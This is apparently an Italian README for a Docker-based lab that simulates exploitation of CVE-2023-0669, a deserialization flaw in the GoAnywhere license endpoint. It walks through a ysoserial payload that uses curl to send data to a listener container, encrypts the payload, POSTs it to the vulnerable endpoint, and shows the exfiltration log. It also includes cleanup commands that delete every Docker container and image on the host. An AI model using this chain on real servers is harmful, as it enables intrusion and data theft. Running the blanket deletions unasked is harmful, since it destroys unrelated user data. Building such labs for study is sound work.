
Ambiente di simulazione per CVE-2023-0669 con container attacker basati su Docker, server vulnerabile e container listener. Mostra la generazione di exploit di deserializzazione, crittografia del payload e esfiltrazione dei dati.
cve-2023-0669-simulation/ ├── docker-compose.yml ├── attacker/ │ ├── Dockerfile │ └── CVE_2023_0669_helper.java ├── vulnerable/ │ ├── Dockerfile │ └── VulnerableServer.java ├── listener/ │ ├── Dockerfile │ └── server.py └── received/ ← creato automaticamente (exfiltrazione)
docker-compose up --build
KeyError: 'ContainerConfig' durante docker compose upquesto progetto richiede:
docker compose down --remove-orphans
docker rm -f $(docker ps -aq)
docker rmi -f $(docker images -q)
Poi ricostruisci correttamente:
docker compose build --no-cache
docker compose up
docker exec -it attacker bash
java -jar ysoserial-all.jar CommonsCollections6 'curl -s http://listener:8080/receive -d "PWNED-CVE-2023-0669-simulation-$(date)"' > payload.ser
java CVE_2023_0669_helper payload.ser 1
curl -X POST http://vulnerable:8001/goanywhere/lic/accept
-d "encryptedLicenseResponseData=LA_CHAÎNE_BASE64_ICI"
-d "acceptLicense=true"
Vedrai nei log del listener (o nella cartella ./received sul tuo PC):
PWNED ! Ricevuti 42 bytes → PWNED-CVE-2023-0669-simulation-Sat 06 Dec 2025...